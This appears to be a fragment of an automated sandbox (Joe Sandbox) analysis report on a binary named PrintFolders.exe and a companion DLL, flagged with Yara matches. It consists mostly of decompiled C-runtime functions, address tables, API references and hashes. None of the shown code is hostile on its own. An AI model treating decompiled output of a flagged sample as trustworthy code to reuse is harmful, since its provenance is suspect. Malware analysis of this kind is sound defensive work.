                                                          0x100045e9
                                                          0x10004577
                                                          0x10004577
                                                          0x10004577
                                                          0x1000457d
                                                          0x10004580
                                                          0x10004583
                                                          0x10004586
                                                          0x10004589
                                                          0x1000458e
                                                          0x100045a4
                                                          0x00000000
                                                          0x10004590
                                                          0x10004590
                                                          0x10004592
                                                          0x10004597
                                                          0x10004599
                                                          0x1000459c
                                                          0x1000459e
                                                          0x100045b4
                                                          0x100045d4
                                                          0x100045d4
                                                          0x100045d8
                                                          0x00000000
                                                          0x100045a0
                                                          0x100045a0
                                                          0x100045ea
                                                          0x100045ed
                                                          0x100045f3
                                                          0x100045f5
                                                          0x100045fc
                                                          0x10004603
                                                          0x10004608
                                                          0x1000460b
                                                          0x1000460d
                                                          0x1000460f
                                                          0x1000461c
                                                          0x10004622
                                                          0x10004624
                                                          0x10004627
                                                          0x10004627
                                                          0x1000462a
                                                          0x1000462a
                                                          0x100045fc
                                                          0x10004630
                                                          0x10004632
                                                          0x10004637
                                                          0x1000463a
                                                          0x1000463d
                                                          0x10004645
                                                          0x10004649
                                                          0x1000464e
                                                          0x1000464e
                                                          0x10004651
                                                          0x10004655
                                                          0x10004658
                                                          0x10004668
                                                          0x1000466d
                                                          0x10004671
                                                          0x10004674
                                                          0x10004677
                                                          0x10004679
                                                          0x1000467f
                                                          0x10004682
                                                          0x10004682
                                                          0x10004685
                                                          0x10004685
                                                          0x10004687
                                                          0x10004689
                                                          0x00000000
                                                          0x00000000
                                                          0x1000468b
                                                          0x1000468d
                                                          0x00000000
                                                          0x1000468f
                                                          0x1000468f
                                                          0x10004692
                                                          0x10004695
                                                          0x00000000
                                                          0x10004697
                                                          0x10004697
                                                          0x1000469a
                                                          0x1000469d
                                                          0x1000469f
                                                          0x00000000
                                                          0x100046a1
                                                          0x00000000
                                                          0x100046a1
                                                          0x1000469f
                                                          0x10004695
                                                          0x00000000
                                                          0x1000468d
                                                          0x100046a3
                                                          0x100046a5
                                                          0x100046a5
                                                          0x100046a9
                                                          0x1000467b
                                                          0x1000467b
                                                          0x1000467b
                                                          0x1000467e
                                                          0x1000467e
                                                          0x100045a2
                                                          0x00000000
                                                          0x100045a2
                                                          0x100045a0
                                                          0x1000459e
                                                          0x00000000
                                                          0x100045a7
                                                          0x100045a7
                                                          0x100045a9
                                                          0x100045b0
                                                          0x00000000
                                                          0x100045b2
                                                          0x00000000
                                                          0x100045b0
                                                          0x10004575
                                                          0x00000000

                                                          APIs
                                                          • _ValidateLocalCookies.LIBCMT ref: 10004547
                                                          • ___except_validate_context_record.LIBVCRUNTIME ref: 1000454F
                                                          • _ValidateLocalCookies.LIBCMT ref: 100045D8
                                                          • __IsNonwritableInCurrentImage.LIBCMT ref: 10004603
                                                          • _ValidateLocalCookies.LIBCMT ref: 10004658
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                          • String ID: csm
                                                          • API String ID: 1170836740-1018135373
                                                          • Opcode ID: 71993e02da73fe6ea8203d8663dbfd28e3c5aac2b87050cf1c64cbd4c7b0a4a1
                                                          • Instruction ID: e65ff753308d278a6817090cc45740b4f84ab4a7cb3d59c0f71bc0a74e6c746d
                                                          • Opcode Fuzzy Hash: 71993e02da73fe6ea8203d8663dbfd28e3c5aac2b87050cf1c64cbd4c7b0a4a1
                                                          • Instruction Fuzzy Hash: 4141C378E00218EBEF00CF68CC84A9E7BF5EF452A5F118055E8149B356DB72EA11CB95
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00424203(intOrPtr* _a4, intOrPtr _a8, char _a16) {
                                                          				intOrPtr _t14;
                                                          				intOrPtr _t15;
                                                          				intOrPtr _t17;
                                                          				intOrPtr _t36;
                                                          				intOrPtr* _t38;
                                                          				intOrPtr _t39;
                                                          
                                                          				_t38 = _a4;
                                                          				if(_t38 != 0) {
                                                          					__eflags =  *_t38;
                                                          					if( *_t38 != 0) {
                                                          						_t7 =  &_a16; // 0x424356
                                                          						_t14 = E00420094( *_t7, 0, _t38, 0xffffffff, 0, 0, 0, 0);
                                                          						__eflags = _t14;
                                                          						if(__eflags != 0) {
                                                          							_t36 = _a8;
                                                          							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
                                                          							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
                                                          								L10:
                                                          								_t15 = E00420094(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
                                                          								__eflags = _t15;
                                                          								if(__eflags != 0) {
                                                          									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
                                                          									_t17 = 0;
                                                          									__eflags = 0;
                                                          								} else {
                                                          									E004135BB(GetLastError());
                                                          									_t17 =  *((intOrPtr*)(E004135F1(__eflags)));
                                                          								}
                                                          								L13:
                                                          								L14:
                                                          								return _t17;
                                                          							}
                                                          							_t17 = E00419D92(_t36, _t14);
                                                          							__eflags = _t17;
                                                          							if(_t17 != 0) {
                                                          								goto L13;
                                                          							}
                                                          							goto L10;
                                                          						}
                                                          						E004135BB(GetLastError());
                                                          						_t17 =  *((intOrPtr*)(E004135F1(__eflags)));
                                                          						goto L14;
                                                          					}
                                                          					_t39 = _a8;
                                                          					__eflags =  *((intOrPtr*)(_t39 + 0xc));
                                                          					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
                                                          						L5:
                                                          						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
                                                          						_t17 = 0;
                                                          						 *((intOrPtr*)(_t39 + 0x10)) = 0;
                                                          						goto L14;
                                                          					}
                                                          					_t17 = E00419D92(_t39, 1);
                                                          					__eflags = _t17;
                                                          					if(_t17 != 0) {
                                                          						goto L14;
                                                          					}
                                                          					goto L5;
                                                          				}
                                                          				E00419E17(_a8);
                                                          				return 0;
                                                          			}









                                                          0x00424209
                                                          0x0042420e
                                                          0x00424222
                                                          0x00424225
                                                          0x00424254
                                                          0x00424257
                                                          0x0042425f
                                                          0x00424261
                                                          0x0042427a
                                                          0x0042427d
                                                          0x00424280
                                                          0x0042428e
                                                          0x0042429d
                                                          0x004242a5
                                                          0x004242a7
                                                          0x004242c0
                                                          0x004242c3
                                                          0x004242c3
                                                          0x004242a9
                                                          0x004242b0
                                                          0x004242bb
                                                          0x004242bb
                                                          0x004242c5
                                                          0x004242c6
                                                          0x00000000
                                                          0x004242c6
                                                          0x00424285
                                                          0x0042428a
                                                          0x0042428c
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042428c
                                                          0x0042426a
                                                          0x00424275
                                                          0x00000000
                                                          0x00424275
                                                          0x00424227
                                                          0x0042422a
                                                          0x0042422d
                                                          0x00424240
                                                          0x00424243
                                                          0x00424245
                                                          0x00424247
                                                          0x00000000
                                                          0x00424247
                                                          0x00424233
                                                          0x00424238
                                                          0x0042423a
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0042423a
                                                          0x00424213
                                                          0x00000000

                                                          Strings
                                                          • C:\Program Files (x86)\PrintFolders\PrintFolders.exe, xrefs: 00424208
                                                          • VCB, xrefs: 00424254
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: C:\Program Files (x86)\PrintFolders\PrintFolders.exe$VCB
                                                          • API String ID: 0-2149205796
                                                          • Opcode ID: 69ef0a19d16ed832991be1ac6899432db3f95619588f9b7e4da384f3d8da2b51
                                                          • Instruction ID: ff3a756bc587a2ce23644913c84b3eb2307a4a6ea4fbf3a266a3dc89f95f590a
                                                          • Opcode Fuzzy Hash: 69ef0a19d16ed832991be1ac6899432db3f95619588f9b7e4da384f3d8da2b51
                                                          • Instruction Fuzzy Hash: FB21F231300225FF9B20AF63EC40E6B739DEF807A8751465AF91597241E738ED818778
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0041E4C8(void* __ecx, signed int* _a4, intOrPtr _a8) {
                                                          				signed int* _v8;
                                                          				void** _t12;
                                                          				void* _t16;
                                                          				void* _t18;
                                                          				signed int _t22;
                                                          				WCHAR* _t23;
                                                          				void** _t26;
                                                          				signed int* _t29;
                                                          				void* _t32;
                                                          				void* _t34;
                                                          
                                                          				_t29 = _a4;
                                                          				while(_t29 != _a8) {
                                                          					_t22 =  *_t29;
                                                          					_t12 = 0x450ae8 + _t22 * 4;
                                                          					_t32 =  *_t12;
                                                          					_v8 = _t12;
                                                          					if(_t32 == 0) {
                                                          						_t23 =  *(0x431b70 + _t22 * 4);
                                                          						_t32 = LoadLibraryExW(_t23, 0, 0x800);
                                                          						if(_t32 != 0) {
                                                          							L12:
                                                          							_t26 = _v8;
                                                          							 *_t26 = _t32;
                                                          							if( *_t26 != 0) {
                                                          								FreeLibrary(_t32);
                                                          							}
                                                          							L14:
                                                          							if(_t32 != 0) {
                                                          								_t16 = _t32;
                                                          								L18:
                                                          								return _t16;
                                                          							}
                                                          							L15:
                                                          							_t29 =  &(_t29[1]);
                                                          							continue;
                                                          						}
                                                          						_t18 = GetLastError();
                                                          						if(_t18 != 0x57) {
                                                          							L9:
                                                          							_t32 = 0;
                                                          							L10:
                                                          							if(_t32 != 0) {
                                                          								goto L12;
                                                          							}
                                                          							 *_v8 = _t18 | 0xffffffff;
                                                          							goto L15;
                                                          						}
                                                          						_t18 = E004162B4(_t23, L"api-ms-", 7);
                                                          						_t34 = _t34 + 0xc;
                                                          						if(_t18 == 0) {
                                                          							goto L9;
                                                          						}
                                                          						_t18 = E004162B4(_t23, L"ext-ms-", 7);
                                                          						_t34 = _t34 + 0xc;
                                                          						if(_t18 == 0) {
                                                          							goto L9;
                                                          						}
                                                          						_t18 = LoadLibraryExW(_t23, _t32, _t32);
                                                          						_t32 = _t18;
                                                          						goto L10;
                                                          					}
                                                          					if(_t32 == 0xffffffff) {
                                                          						goto L15;
                                                          					}
                                                          					goto L14;
                                                          				}
                                                          				_t16 = 0;
                                                          				goto L18;
                                                          			}













                                                          0x0041e4d1
                                                          0x0041e57b
                                                          0x0041e4d9
                                                          0x0041e4db
                                                          0x0041e4e2
                                                          0x0041e4e4
                                                          0x0041e4ea
                                                          0x0041e4f7
                                                          0x0041e50c
                                                          0x0041e510
                                                          0x0041e562
                                                          0x0041e562
                                                          0x0041e567
                                                          0x0041e56b
                                                          0x0041e56e
                                                          0x0041e56e
                                                          0x0041e574
                                                          0x0041e576
                                                          0x0041e58b
                                                          0x0041e586
                                                          0x0041e58a
                                                          0x0041e58a
                                                          0x0041e578
                                                          0x0041e578
                                                          0x00000000
                                                          0x0041e578
                                                          0x0041e512
                                                          0x0041e51b
                                                          0x0041e552
                                                          0x0041e552
                                                          0x0041e554
                                                          0x0041e556
                                                          0x00000000
                                                          0x00000000
                                                          0x0041e55e
                                                          0x00000000
                                                          0x0041e55e
                                                          0x0041e525
                                                          0x0041e52a
                                                          0x0041e52f
                                                          0x00000000
                                                          0x00000000
                                                          0x0041e539
                                                          0x0041e53e
                                                          0x0041e543
                                                          0x00000000
                                                          0x00000000
                                                          0x0041e548
                                                          0x0041e54e
                                                          0x00000000
                                                          0x0041e54e
                                                          0x0041e4ef
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041e4f5
                                                          0x0041e584
                                                          0x00000000

                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID: api-ms-$ext-ms-
                                                          • API String ID: 0-537541572
                                                          • Opcode ID: f5ec6ee9c4a828023a9cd68abdd904a08f9a9bc1d08a35ee3d13f4932bbadbf7
                                                          • Instruction ID: a070aaca4d8e33c421c8892c34a803ef62d39d78bd865ca4f18396a08a3380d9
                                                          • Opcode Fuzzy Hash: f5ec6ee9c4a828023a9cd68abdd904a08f9a9bc1d08a35ee3d13f4932bbadbf7
                                                          • Instruction Fuzzy Hash: 9F21DE39E01220F7D73147679C44A9B3769AF05BA4F550136ED06A7390E638ED41C6DD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E1000800F(void* __ecx, signed int* _a4, intOrPtr _a8) {
                                                          				signed int* _v8;
                                                          				void** _t12;
                                                          				void* _t16;
                                                          				void* _t18;
                                                          				signed int _t22;
                                                          				WCHAR* _t23;
                                                          				void** _t26;
                                                          				signed int* _t29;
                                                          				void* _t32;
                                                          				void* _t34;
                                                          
                                                          				_t29 = _a4;
                                                          				while(_t29 != _a8) {
                                                          					_t22 =  *_t29;
                                                          					_t12 = 0x10017ec8 + _t22 * 4;
                                                          					_t32 =  *_t12;
                                                          					_v8 = _t12;
                                                          					if(_t32 == 0) {
                                                          						_t23 =  *(0x10010fb8 + _t22 * 4);
                                                          						_t32 = LoadLibraryExW(_t23, 0, 0x800);
                                                          						if(_t32 != 0) {
                                                          							L12:
                                                          							_t26 = _v8;
                                                          							 *_t26 = _t32;
                                                          							if( *_t26 != 0) {
                                                          								FreeLibrary(_t32);
                                                          							}
                                                          							L14:
                                                          							if(_t32 != 0) {
                                                          								_t16 = _t32;
                                                          								L18:
                                                          								return _t16;
                                                          							}
                                                          							L15:
                                                          							_t29 =  &(_t29[1]);
                                                          							continue;
                                                          						}
                                                          						_t18 = GetLastError();
                                                          						if(_t18 != 0x57) {
                                                          							L9:
                                                          							_t32 = 0;
                                                          							L10:
                                                          							if(_t32 != 0) {
                                                          								goto L12;
                                                          							}
                                                          							 *_v8 = _t18 | 0xffffffff;
                                                          							goto L15;
                                                          						}
                                                          						_t18 = E10007808(_t23, L"api-ms-", 7);
                                                          						_t34 = _t34 + 0xc;
                                                          						if(_t18 == 0) {
                                                          							goto L9;
                                                          						}
                                                          						_t18 = E10007808(_t23, L"ext-ms-", 7);
                                                          						_t34 = _t34 + 0xc;
                                                          						if(_t18 == 0) {
                                                          							goto L9;
                                                          						}
                                                          						_t18 = LoadLibraryExW(_t23, _t32, _t32);
                                                          						_t32 = _t18;
                                                          						goto L10;
                                                          					}
                                                          					if(_t32 == 0xffffffff) {
                                                          						goto L15;
                                                          					}
                                                          					goto L14;
                                                          				}
                                                          				_t16 = 0;
                                                          				goto L18;
                                                          			}













                                                          0x10008018
                                                          0x100080c2
                                                          0x10008020
                                                          0x10008022
                                                          0x10008029
                                                          0x1000802b
                                                          0x10008031
                                                          0x1000803e
                                                          0x10008053
                                                          0x10008057
                                                          0x100080a9
                                                          0x100080a9
                                                          0x100080ae
                                                          0x100080b2
                                                          0x100080b5
                                                          0x100080b5
                                                          0x100080bb
                                                          0x100080bd
                                                          0x100080d2
                                                          0x100080cd
                                                          0x100080d1
                                                          0x100080d1
                                                          0x100080bf
                                                          0x100080bf
                                                          0x00000000
                                                          0x100080bf
                                                          0x10008059
                                                          0x10008062
                                                          0x10008099
                                                          0x10008099
                                                          0x1000809b
                                                          0x1000809d
                                                          0x00000000
                                                          0x00000000
                                                          0x100080a5
                                                          0x00000000
                                                          0x100080a5
                                                          0x1000806c
                                                          0x10008071
                                                          0x10008076
                                                          0x00000000
                                                          0x00000000
                                                          0x10008080
                                                          0x10008085
                                                          0x1000808a
                                                          0x00000000
                                                          0x00000000
                                                          0x1000808f
                                                          0x10008095
                                                          0x00000000
                                                          0x10008095
                                                          0x10008036
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000803c
                                                          0x100080cb
                                                          0x00000000

                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: api-ms-$ext-ms-
                                                          • API String ID: 0-537541572
                                                          • Opcode ID: 495c40b57803ef5ef3fb5807e2b2eab896702d7168f31e2b001653fa3d16e092
                                                          • Instruction ID: 90a9feae873bb1b7bb8f48b179cd5688537d64e801fb6ee6e67ba8e33ea3485b
                                                          • Opcode Fuzzy Hash: 495c40b57803ef5ef3fb5807e2b2eab896702d7168f31e2b001653fa3d16e092
                                                          • Instruction Fuzzy Hash: BD219675A01221ABF7A2CB248D84A4A3698FB057E0F224655FDC5A7295DB70EE0487E1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free
                                                          • String ID:
                                                          • API String ID: 269201875-0
                                                          • Opcode ID: 133ea2b89444c130765e51dc6ef272bab715d3be83394f254edc6edf343bbe22
                                                          • Instruction ID: 18b0f10dc80f86e3b47954cd7ac735c8865c2d37fda3f0ccca68a77a81fef9d4
                                                          • Opcode Fuzzy Hash: 133ea2b89444c130765e51dc6ef272bab715d3be83394f254edc6edf343bbe22
                                                          • Instruction Fuzzy Hash: 3F116D31540B04FAFE20FFB2CC07FCB77AC5F05B06F40491EB29966066DA6EEA445699
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00426011(intOrPtr _a4) {
                                                          				void* _t18;
                                                          
                                                          				_t45 = _a4;
                                                          				if(_a4 != 0) {
                                                          					E00425D5D(_t45, 7);
                                                          					E00425D5D(_t45 + 0x1c, 7);
                                                          					E00425D5D(_t45 + 0x38, 0xc);
                                                          					E00425D5D(_t45 + 0x68, 0xc);
                                                          					E00425D5D(_t45 + 0x98, 2);
                                                          					E0041E2B8( *((intOrPtr*)(_t45 + 0xa0)));
                                                          					E0041E2B8( *((intOrPtr*)(_t45 + 0xa4)));
                                                          					E0041E2B8( *((intOrPtr*)(_t45 + 0xa8)));
                                                          					E00425D5D(_t45 + 0xb4, 7);
                                                          					E00425D5D(_t45 + 0xd0, 7);
                                                          					E00425D5D(_t45 + 0xec, 0xc);
                                                          					E00425D5D(_t45 + 0x11c, 0xc);
                                                          					E00425D5D(_t45 + 0x14c, 2);
                                                          					E0041E2B8( *((intOrPtr*)(_t45 + 0x154)));
                                                          					E0041E2B8( *((intOrPtr*)(_t45 + 0x158)));
                                                          					E0041E2B8( *((intOrPtr*)(_t45 + 0x15c)));
                                                          					return E0041E2B8( *((intOrPtr*)(_t45 + 0x160)));
                                                          				}
                                                          				return _t18;
                                                          			}




                                                          0x00426017
                                                          0x0042601c
                                                          0x00426025
                                                          0x00426030
                                                          0x0042603b
                                                          0x00426046
                                                          0x00426054
                                                          0x0042605f
                                                          0x0042606a
                                                          0x00426075
                                                          0x00426083
                                                          0x00426091
                                                          0x004260a2
                                                          0x004260b0
                                                          0x004260be
                                                          0x004260c9
                                                          0x004260d4
                                                          0x004260df
                                                          0x00000000
                                                          0x004260ef
                                                          0x004260f4

                                                          APIs
                                                            • Part of subcall function 00425D5D: _free.LIBCMT ref: 00425D82
                                                          • _free.LIBCMT ref: 0042605F
                                                            • Part of subcall function 0041E2B8: HeapFree.KERNEL32(00000000,00000000,?,00425D87,?,00000000,?,?,?,0042602A,?,00000007,?,?,0042651D,?), ref: 0041E2CE
                                                            • Part of subcall function 0041E2B8: GetLastError.KERNEL32(?,?,00425D87,?,00000000,?,?,?,0042602A,?,00000007,?,?,0042651D,?,?), ref: 0041E2E0
                                                          • _free.LIBCMT ref: 0042606A
                                                          • _free.LIBCMT ref: 00426075
                                                          • _free.LIBCMT ref: 004260C9
                                                          • _free.LIBCMT ref: 004260D4
                                                          • _free.LIBCMT ref: 004260DF
                                                          • _free.LIBCMT ref: 004260EA
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 776569668-0
                                                          • Opcode ID: 0ec00478f14c113bf47a4fee4d442575f16bafd0bb01c80a52db30f625d4e359
                                                          • Instruction ID: b3dbb492fdefcd87f13974c7623e4ee0a28cf06b85d3f0612ad809807c760fc1
                                                          • Opcode Fuzzy Hash: 0ec00478f14c113bf47a4fee4d442575f16bafd0bb01c80a52db30f625d4e359
                                                          • Instruction Fuzzy Hash: 5C11B431640B14AAD520B7B2DC0BFCBBB9C5F01344F808D1FF69D660A2EA7CB6408769
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E1000BB3C(intOrPtr _a4) {
                                                          				void* _t18;
                                                          
                                                          				_t45 = _a4;
                                                          				if(_a4 != 0) {
                                                          					E1000BB04(_t45, 7);
                                                          					E1000BB04(_t45 + 0x1c, 7);
                                                          					E1000BB04(_t45 + 0x38, 0xc);
                                                          					E1000BB04(_t45 + 0x68, 0xc);
                                                          					E1000BB04(_t45 + 0x98, 2);
                                                          					E10008701( *((intOrPtr*)(_t45 + 0xa0)));
                                                          					E10008701( *((intOrPtr*)(_t45 + 0xa4)));
                                                          					E10008701( *((intOrPtr*)(_t45 + 0xa8)));
                                                          					E1000BB04(_t45 + 0xb4, 7);
                                                          					E1000BB04(_t45 + 0xd0, 7);
                                                          					E1000BB04(_t45 + 0xec, 0xc);
                                                          					E1000BB04(_t45 + 0x11c, 0xc);
                                                          					E1000BB04(_t45 + 0x14c, 2);
                                                          					E10008701( *((intOrPtr*)(_t45 + 0x154)));
                                                          					E10008701( *((intOrPtr*)(_t45 + 0x158)));
                                                          					E10008701( *((intOrPtr*)(_t45 + 0x15c)));
                                                          					return E10008701( *((intOrPtr*)(_t45 + 0x160)));
                                                          				}
                                                          				return _t18;
                                                          			}




                                                          0x1000bb42
                                                          0x1000bb47
                                                          0x1000bb50
                                                          0x1000bb5b
                                                          0x1000bb66
                                                          0x1000bb71
                                                          0x1000bb7f
                                                          0x1000bb8a
                                                          0x1000bb95
                                                          0x1000bba0
                                                          0x1000bbae
                                                          0x1000bbbc
                                                          0x1000bbcd
                                                          0x1000bbdb
                                                          0x1000bbe9
                                                          0x1000bbf4
                                                          0x1000bbff
                                                          0x1000bc0a
                                                          0x00000000
                                                          0x1000bc1a
                                                          0x1000bc1f

                                                          APIs
                                                            • Part of subcall function 1000BB04: _free.LIBCMT ref: 1000BB29
                                                          • _free.LIBCMT ref: 1000BB8A
                                                            • Part of subcall function 10008701: RtlFreeHeap.NTDLL(00000000,00000000,?,100074AC), ref: 10008717
                                                            • Part of subcall function 10008701: GetLastError.KERNEL32(?,?,100074AC), ref: 10008729
                                                          • _free.LIBCMT ref: 1000BB95
                                                          • _free.LIBCMT ref: 1000BBA0
                                                          • _free.LIBCMT ref: 1000BBF4
                                                          • _free.LIBCMT ref: 1000BBFF
                                                          • _free.LIBCMT ref: 1000BC0A
                                                          • _free.LIBCMT ref: 1000BC15
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: _free$ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 776569668-0
                                                          • Opcode ID: a7358a4db6e1da6d63c69c07c6b5017a17c7ec25ee6c44925f82e9684ad80130
                                                          • Instruction ID: 50d7879656c57a25cf13df4160670f294727ae21723d392f61a5f7ff99cca00a
                                                          • Opcode Fuzzy Hash: a7358a4db6e1da6d63c69c07c6b5017a17c7ec25ee6c44925f82e9684ad80130
                                                          • Instruction Fuzzy Hash: D2112C75550B04EAEA20FBB0CC46FDB77ADEF00780F900815B2ADA616EDBA5B504CB90
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 87%
                                                          			E00404360(void* __ebx, void* __ecx, signed int _a4, char _a8) {
                                                          				char _v24;
                                                          				char _v32;
                                                          				intOrPtr _v48;
                                                          				signed int _t20;
                                                          				void* _t22;
                                                          				void* _t32;
                                                          				signed char _t35;
                                                          				intOrPtr* _t37;
                                                          				char* _t40;
                                                          				intOrPtr* _t42;
                                                          				intOrPtr _t45;
                                                          
                                                          				_t32 = __ebx;
                                                          				_t20 = _a4 & 0x00000017;
                                                          				 *(__ecx + 0xc) = _t20;
                                                          				_t35 =  *(__ecx + 0x10) & _t20;
                                                          				if(_t35 == 0) {
                                                          					return _t20;
                                                          				} else {
                                                          					if(_a8 != 0) {
                                                          						E0041044B(0, 0);
                                                          					}
                                                          					if((_t35 & 0x00000004) == 0) {
                                                          						_t40 =  ==  ? "ios_base::eofbit set" : "ios_base::failbit set";
                                                          					} else {
                                                          						_t40 = "ios_base::badbit set";
                                                          					}
                                                          					_t22 = E00403B30( &_v32);
                                                          					_t37 =  &_v24;
                                                          					L00404280(_t32, _t37, _t40, _t22);
                                                          					E0041044B( &_v32, 0x43c040);
                                                          					asm("int3");
                                                          					_t45 = _v48;
                                                          					asm("xorps xmm0, xmm0");
                                                          					_t42 = _t37;
                                                          					 *_t42 = 0x42e2d4;
                                                          					asm("movq [eax], xmm0");
                                                          					_t14 = _t45 + 4; // 0x43c044
                                                          					E0040FF71(_t14, _t42 + 4);
                                                          					 *_t42 = 0x439c98;
                                                          					_t15 = _t45 + 0xc; // 0x43c050
                                                          					_t16 = _t45 + 0x10; // 0x5
                                                          					 *((intOrPtr*)(_t42 + 0xc)) =  *_t15;
                                                          					 *((intOrPtr*)(_t42 + 0x10)) =  *_t16;
                                                          					 *_t42 = 0x439d10;
                                                          					return _t42;
                                                          				}
                                                          			}














                                                          0x00404360
                                                          0x0040436c
                                                          0x0040436f
                                                          0x00404375
                                                          0x00404377
                                                          0x00404384
                                                          0x00404379
                                                          0x0040437d
                                                          0x0040438b
                                                          0x0040438b
                                                          0x00404393
                                                          0x004043a9
                                                          0x00404395
                                                          0x00404395
                                                          0x00404395
                                                          0x004043b0
                                                          0x004043b7
                                                          0x004043bb
                                                          0x004043ca
                                                          0x004043cf
                                                          0x004043d4
                                                          0x004043d7
                                                          0x004043db
                                                          0x004043e1
                                                          0x004043e7
                                                          0x004043eb
                                                          0x004043ef
                                                          0x004043f4
                                                          0x004043fd
                                                          0x00404400
                                                          0x00404403
                                                          0x00404408
                                                          0x0040440b
                                                          0x00404414
                                                          0x00404414

                                                          APIs
                                                          • ___std_exception_copy.LIBVCRUNTIME ref: 004043EF
                                                            • Part of subcall function 0041044B: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,0040E035,?,0043B72C,?), ref: 004104AB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
